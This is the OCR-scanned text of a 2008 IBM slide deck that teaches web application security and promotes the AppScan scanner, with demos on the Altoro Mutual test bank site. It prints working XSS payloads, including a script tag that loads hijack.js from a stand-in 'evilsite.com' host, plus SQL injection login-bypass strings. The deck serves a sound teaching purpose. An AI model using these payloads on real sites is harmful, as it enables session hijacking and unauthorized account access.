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Agenda

e Security Landscape

e Vulnerability Analysis
» Top Attacks Overview
» Cross Site Scripting
» SQL Injection
e Automated Vulnerability Analysis
» IBM Rational AppScan Overview
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The Alarming Truth

“Approximately 100 million Americans have been informed that they have suffered a
security breach so this problem has reached epidemic proportions.”
Jon Oltsik — Enterprise Strategy Group

“Up to 21,000 loan clients may have had data exposed”
Marcella Bombardieri, Globe Staff/August 24, 2006

“Personal information stolen from 2.2 million active-duty members of the military,
the government said...”
New York Times/June 7, 2006

“Hacker may have stolen personal identifiable information for 26,000 employees..”
ComputerWorld, June 22, 2006
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Web Hacking Incident Database — WASC

Yweb Application Security Consortium - Web hacking Incidents Database (WHID) - The Web Hacking Incidents Database - Mozilla Firefox: I6M Edition

File  Edit iew History Bookmarks Tools  Help

@ = $ - @ @ @ | -0 oo, vwebappsec. orglprojects whidy | Y| b] |*|wasc

Options = I j Ea < ﬂ < @ Infa Mgt - Lokus = @ Rational = @ Tiwali = webdphere | < Hilie
. Blo
Latest Incidents Reported FAQg
5 incidents listed About
WHID 2005-65: LexisNexis Data Breach WHID
Reported: 17 February 2008 Sponsored
Occurred: 0% March 2005 by Breach
Security

Classifications:
= Attack Method: Insufficient Anti-autormation
= Country: US4
s Outcome: Leakage of Information
= ¥ertical: Information Services

http://www.webappsec.org/projects/whid/
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High Level Web Application Architecture Review

—_

¥ _
L

~_T"

%(_J
Client Tier “ g _
(Browser)
SSL
Protects
Transport Protects Network

. . . -\ -
=~ |

Firewall !

Customer
App is deployed

Sensitive
data is
stored here

J

Web Servers

App Server |

(Business

Logic) '
_

(Presentation)

—~—

Middle Tier

<l

Backend
Server

-
—_—
[~

E Databases

Database

H_J

Data Tier

© 2008 IBM Corporation

Discovering the Value of Verifying Web Application Security Using IBM Rational AppScan



b

EC

LJrJEy

ad
=)

\“%@ . :
k"‘.- - o



l
Developers H \(_\

o
Developers i"'
| ‘ = |/®

Developers ~
|

\\‘\ "4 - =% /
N | e, A




- VanQ, Feb 28t 2008

,“"? Web Application Environment

Web Application Scanners

Web Application Web Services B

Network
Scanners

Database Scanners Host Scanners
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!"'T Where are the Vulnerabilities?

Code Scanning

; Client-Side Custom Web Services
Emerging Tech
Fortify Web Applications
Ounce Labs
Secure Software Third-party Components
Klockwork
Parasoft

Database

Applications

Operating System

Network
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,i Thelds Our Site Is Safe”

We Have Firewalls
in Place

We Audit It Once a
Quarter with Pen Testers

We Use Network
Vulnerability Scanners

© 2008 IBM Corporation Discovd
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-
" The Reality: Security and Spending Are Unbalanced

Security Spending

% of Attacks % of Dollars

, Are Dlrected to the Web Application Layer
2/3 of All Web Applications Are Vulnerable_, =

© 2008 IBM Corporation

ational AppScan
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Security Defects: Those | manage vs. Those | own

Infrastructure VVulnerabilities
or Common Web Vulnerabilities

Application Specific
Vulnerabilities (ASVSs)

(CWVs)
Cause of Defect Insecure application development by Insecure application development In-
3'd party SW house
Location within 3'd party technical building blocks or | Business logic - dynamic data
Application infrastructure (web servers,) consumed by an application

SQL injection, path tampering, Cross site
scripting, Suspect content & cookie
poisoning

Known vulnerabilities (patches issued),

Type(s) of Exploits misconfiguration

Match signatures & check for known

Detection ) ) : [ icati ifi
misconfigurations. Requires application specific knowledge
Business Risk Patch latency primary issue Requ!res automatic application lifecycle
security
Cost Control As secure as 3" party software Early detection saves $$$
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OWASP and the OWASP Top 10 list

e Open Web Application Security Project — an open organization dedicated to fight
insecure software

e “The OWASP Top Ten document represents a broad consensus about what the
most critical web application security flaws are”

e We will use the Top 10 list to cover some of the most common security issues in
web applications
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Application Threat

Cross Site scripting

Negative Impact

Identity Theft, Sensitive Information
Leakage, ...

Example Impact

Hackers can impersonate legitimate users, and
control their accounts.

Injection Flaws

Attacker can manipulate queries to the
DB / LDAP / Other system

Hackers can access backend database
information, alter it or steal it.

Malicious File Execution

Execute shell commands on server, up
to full control

Site modified to transfer all interactions to the
hacker.

Insecure Direct Object
Reference

Attacker can access sensitive files and
resources

Web application returns contents of sensitive file
(instead of harmless one)

Cross-Site Request Forgery

Attacker can invoke “blind” actions on
web applications, impersonating as a
trusted user

Blind requests to bank account transfer money to
hacker

Information Leakage and
Improper Error Handling

Attackers can gain detailed system
information

Malicious system reconnaissance may assist in
developing further attacks

Broken Authentication &
Session Management

Session tokens not guarded or
invalidated properly

Hacker can “force” session token on victim; session
tokens can be stolen after logout

Insecure Cryptographic
Storage

Weak encryption techniques may lead
to broken encryption

Confidential information (SSN, Credit Cards) can
be decrypted by malicious users

Insecure Communications

Sensitive info sent unencrypted over
insecure channel

Unencrypted credentials “sniffed” and used by
hacker to impersonate user

Failure to Restrict URL Access

Hacker can access unauthorized
resources

Hacker can forcefully browse and access a page
past the login page
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1. Cross-Site Scripting (XSS)

e What is it?

» Malicious script echoed back into HTML returned from a trusted site, and runs under trusted
context

e What are the implications?
» Session Tokens stolen (browser security circumvented)
» Complete page content compromised
» Future pages in browser compromised

[ .
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XSS Example |

é - = - e] e ﬂ' ||:| http:,.",."www.testﬁre.netfseard"l.aspx?txtSF-_arm{a_de-'] |T| E"] |*|G:-:-gfe |'-~g‘]| - =

G
Sign Inm | Contact Us | Feaedback | Search[lEISd'F I

AltoroMutual » ﬂ

m ONLINE BANKING LOGIN PERSOMAL

PERSONMAL
e e Search Results

Checking
Loan Products Mo results were found for the query:

Cards

Insurasnce
» Other Services

SMALL BUSIMESS HTML COde:

oo lialdeta LAl <p>»No results were found for the gquery:<br f><br />

%— e <span id="_ctl0 ctl0 Content Main lblSearch">Eljetac/spani
Cards — — — — —

Insurance

Eatirement
other Services

INSIDE ALTORO MUTLIAL
About Us "
Contact Us
Locations
Investor Relations
Eress Room

Careaers

Priva Poli | Security Statement | & 2007 Altoro Mutual, Inc.

& Find: | |8 & &

[~

' £ 4
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XSS Example |l

'@ - g - E’ e ‘ﬁ:[‘ | eard"l.aspx?txtSeard"lF{saipt}alert{dcmment.mokie}c:,."script:bn"| P'] |*|=E:-:-gﬁe |'“--g]| - 5B x
Sign In | Contact Us | Feedback | Search| ”_ S0 ] =
-‘--—-.__ ﬂ

B ONLINE BANKING LOGIN PERSOMNAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

PERSOCMNAL
e Search Results
+ Checking - -
+ Loan Products M The page at http://www.testfire.net says:
+ Cards =
¢ Inwestments B ,!-E ASP.MET_SessionId=trohgg450cpiSr45rr 2pl1fg; amSessionld=15244181581 =

Insurance

s Other Services

SMALL BUSINESS

+ Deposit Products
+ lLending Services
+ Cards

+ Insurance

e HTML code:

+ Other Services

INSIDE ALTORD MUTU'-cp}Nn results were found for the queryv:<br f><br />

+ About Us <span id="_ctl0_ ctl0 Content Main 1blS5Search"s><scri ptbm (document .cookie)</script></ span’
= Contact Us

+ Locations

» Investor Relaticns
+ Press Room

= Carssrs

Brivacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.

el

& Find: | | & @

A 3 £S5, i
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XSS — Detalls

e Common in Search, Error Pages and returned forms.
» But can be found on any type of page

e Any input may be echoed back
» Path, Query, Post-data, Cookie, Header, etc.

e Browser technology used to aid attack
» XMLHttpRequest (AJAX), Flash, IFrame...

e Has many variations
» XSS in attribute, DOM Based XSS, etc.

[ .
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oaro utua ustomer Mouncalion - message

Fil=e Edit Wiew Insertk Format Tools  Ackions  Help

ko Al

From: Daniel Gravelle Senk:  Thu Zf22/2007 9:25 AM
To: Daniel Gravelle
L'l

Subject:  altoro Mutual Customer Motification

j-_\_l}oroMutual >

Dear Wr. John Smith,

It has recently been brought to our notice that a number of customer accounts have had un-authorized transactions being performed on both their
Altaro Checking and Savings account. Altoro Mutual strongly advises all customers to diligently maonitor their banking accounts for the next 3 months
to : -guthorized transactions.

Flease use the following url to check youNaccount balances at Altoro Financial

http: Ay company. comsd
—

Sincerely,

Joe Johnson

“WP of Customer Relations
Altoro Financial

[ .
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toro Mutual: sults -

Edit History  Bookmarks
——

——
¢| - - @ &y Gl‘ | :tp:,l'Ilucalhnstfalturnp'ban@in.aspx?uid=<script src="http:,l',l'www.evilsite.cum,l'xss,l'hijack.js"><:,l'scri|:|t:=||"’| b’] |'|Guagle )
—

o ——
|:| windows |:| ¥55 Proxy - Sessions | |:| Hackme Bank. |:| Altora Mutual El Adobe Conned
slanin I_

earc 0zl mrelox

File:

ienw Tools  Help

—

AltoroMutual

m DONLINE BANKINMG LOGIN

PERSOMAL

| SMALL BUSIMESS

| IMSIDE ALTORD MUTUAL

PERSOMAL

» Deposit Produck
+ Checking

*# Loan Producks

* Cards

* Investroents 2 Insurance

+ Other Services

SMALL BUSINESS

+ Deposit Producks
* Lending Services
+ Cards

Search Results

Mo results were found for the query:

Insurance
Retirerment

Other Services

IMSIDE ALTORC MUTLIAL
+ About s
+ Contack Ls

* Locations

+ Investar Relations

* Press Room

* Carears

Privacy Policy | Security Staterment | & 2007 Aloro Mutual, Inc

E The Altoro Mutual website is published by Watchfire, Inc, for the zole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
i wulnerabilities and website defectz, This site is not a real banking site. Similarities, if any, to third party products andfor websites are purely coincidental, This site is

Daone

._ A {
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Cross Site Scripting — The Exploit Process

| Evil.org

5) Evil.org uses stolen
session information to
impersonate user

1) Link to bank.com
sent to user via
E-mail or HTTP

4) Script sends user’s
cookie and session
information without the user’s
consent or knowledge

User
2) User sends script embedded as data .

3) Script/data returned, executed by browser

bank.com

© 2008 IBM Corporation
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Exploiting XSS

e If | can get you to run my JavaScript, | can...
» Steal your cookies for the domain you're browsing
» Track every action you do in that browser from now on
» Redirect you to a Phishing site
» Completely modify the content of any page you see on this domain
» Exploit browser vulnerabilities to take over machine
b ...

e XSS is the Top Security Risk today (most exploited)

[ .
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2 - Injection Flaws

e What is it?
» User-supplied data is sent to an interpreter as part of a command, query or data.

e What are the implications?
» SQL Injection — Access/modify data in DB
» SSI Injection — Execute commands on server and access sensitive data
» LDAP Injection — Bypass authentication
...

[ .
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SQL Injection

e User input inserted into SQL Command:

» Get product details by id:
Select * from products where id="SREQUEST/[“id"[’;

» Hack: send param id with value ‘ or ‘1'="1

» Resulting executed SQL.:
Select * from products where id=" or ‘1'="1"

» All products returned

7 A ;
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SQL Injection Example |

@ -0 - @ % | http:/jwww.testfire.net/bank/login.aspx |~| B ] [[Cl=]cocae |'~vg,]| .82 x
Sian In | Contsct Us | Feedback | Search | |[Go ] L J
AltoroMutual > TN
AltorolViutua ﬂ '{,,y- |
= DOHNLINE BANKING LOGIN PERSONMAL | SMALL BUSIHNESS | INSIDE ALTORO MUTUAL
Mj";;ggtpmm Online Banking Login

+ Checking
s Loan Products

+ Cards Usermname: |' I |
+ Investments B
Insurance Password: |**** |

* Other Services -
-
SMALL BUSTIHNESS
+ Deposit Producks
+ Lending Services
+ Cards
+ Insurance
+ R.etirement
*+ Other Services

INSIDE ALTORC MUTLAL
s About Us
= Contact Ls
+ Locations

» Investor Relaticns
+ Press FRoom

= Caresrs

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.

E The aAltoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire E I

4

[ .
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SQL Injection Example Il

‘-ﬁ' - g - E] ﬁ::l' ||:| http: ffvevewe, testhire.. net/banklogin. aspx |T| E"] |"|=:C-C-;E |'-4\,]| - B XX
Sign In | Contact Us | Feedback | Searchl |[ So ] !

{

AltoroMutual » E

An Error Has Occurred

Summary:

(Svntax error [missing operator) in g v NPT il " = """ AND password = "asdf". ]

Error Message:

System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'usermame = AND password =
'asdf''. at System.Data.OleDb.CleDbCommand.ExecuteCommandTextForSingleResult{tagDBEPARAMS dbParams, ObjectB
exacuteResult) at System.Data.OleDb.OleDbCommand.ExecuteCommandTaext{ Objectk executeRasult) at
System.Data.OleDb.OleDbCommand.ExecuteCommand{CommandBehavior behavior, Objecth executeRasult) at
System.Data.OleDb.OleDbCommand.ExecuteR eaderInternal(CommandBehavior behavior, String method]) at
System.Data.OleDb.OleDbCommand.ExecuteReader{ CommandBehavior behavior] at
System.Data.OleDb.OleDbCommand.System.Data. IDbCommand.ExecuteReader{CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Filllnternal{DataSet dataset, DataTable[] datatables, Int22 startRecord, Int22
maxRecords, String srcTable, IDBCommand command, CommandBehavior behawvior] at
System.Data.Common.DbDataAdapter.Fill[DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable,
IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill[DataSet dataSet, String
srcTable] at Altoro.Authentication.ValidateUser{String uName, String pWaord) in
divdownloads\AltoroMutual_wS\website\bankilogin.aspx.csiline 58 at Altoro.Authentication.Page_Load({Object sendear, Eventirgs
a2l in didownloadshAltoroMutual_vShwebsite\banki\login.aspx.cs:line 32 at
System.wWeb.Util.CalliHelpar.EventargFunctionCaller{ IntPtr fp, Object o, Object t, EventaArgs =] at
System.web.uUtil.CalliEventHandlerDelegateProxy.Callback{Object sendear. Eventargs ) at
System.Web.UI.Control.OnLoad(Eventirgs &) at System.Weab.UI.Control.LoadRecursive(]) at
System.Web.UI.Page.ProcessRequestMain{Boolean includeStagesBeforefsyncPoint, Boolean includeStagesAfterfsyncPoint)

© 2008 IBM Corporation Discovering the Value of Verifying Web Application Security Using IBM Rational AppScan
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SQL Injection Example - Exploit

ﬁ - * - E’ k. ﬂ' |E| http: f o testfire. net/bank flogin. aspx |T| F‘] |'|Gc--:-|;|le |'--—g]| - B XX
Sign In | Contact Us | Feedback: | 5-EEFEh| |[ S0 ] L

AltoroMutual 2> ﬂ {* ({

- DHLINE BANKING LOGIN PERSOMAL SMALL BUSINESS | INSIDE ALTORD MUTUAL
PER. SO MNAL - - -
> et Ereilie Online Banking Login

+ Checking
* Loan Products

» Cards Usarname: |' or 1=1-- |
» Investments B 4
Insurance FPassword: || |

» Other Services =
-
SMaALL BLISTMESS

» Deposit Products

+ Lending Services

* Cards

+ Insurance

* Retirement

*» Other Servicaes

INSIDE ALTORO MUTUAL
+ About Ls
* Contact Us

* lLocations

* Investor Relaticns
* Press Room

*» Caresrs

Frivacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.
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SQL Injection Example - Outcome

é -~ g - ej e ﬂ |E| http: ffvewewe, testfire. netfbank /main. aspx |T| F] |"|GI:-|:-I;|IE |l__,,\']| - F X
Sign Off | Contact Us | Feedback | Searchl ”_ 5o J
AltoroMutual »
""-_.__-__
= MY ACCOUNT PERSOMAL | SMALL BUSINESS | INSIDE ALTORD MUTUAL

IWANTTO ...

+= View Account He"ﬂ; Jﬂhn smith

Summary
» View Recent wWelcome to Altoro Mutual Online.

Transactions

« Transfer View Account Details: 1001160140 Checkin B --GmI
Funds | d |

* Search News
Articles Congratulations!

* Customize

NI ¥ou have been pre-approved for an Altoro Gold Visa with a credit limit of $100000

Click Hara to apply.

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.

The Altorc Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products
in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party
products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind. either express or implied.

http /S v watchfire.comystatemeants/terms.aspx.

Copyright & 2007, Watchfire Corporation. All rights reserved.

E Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please go to
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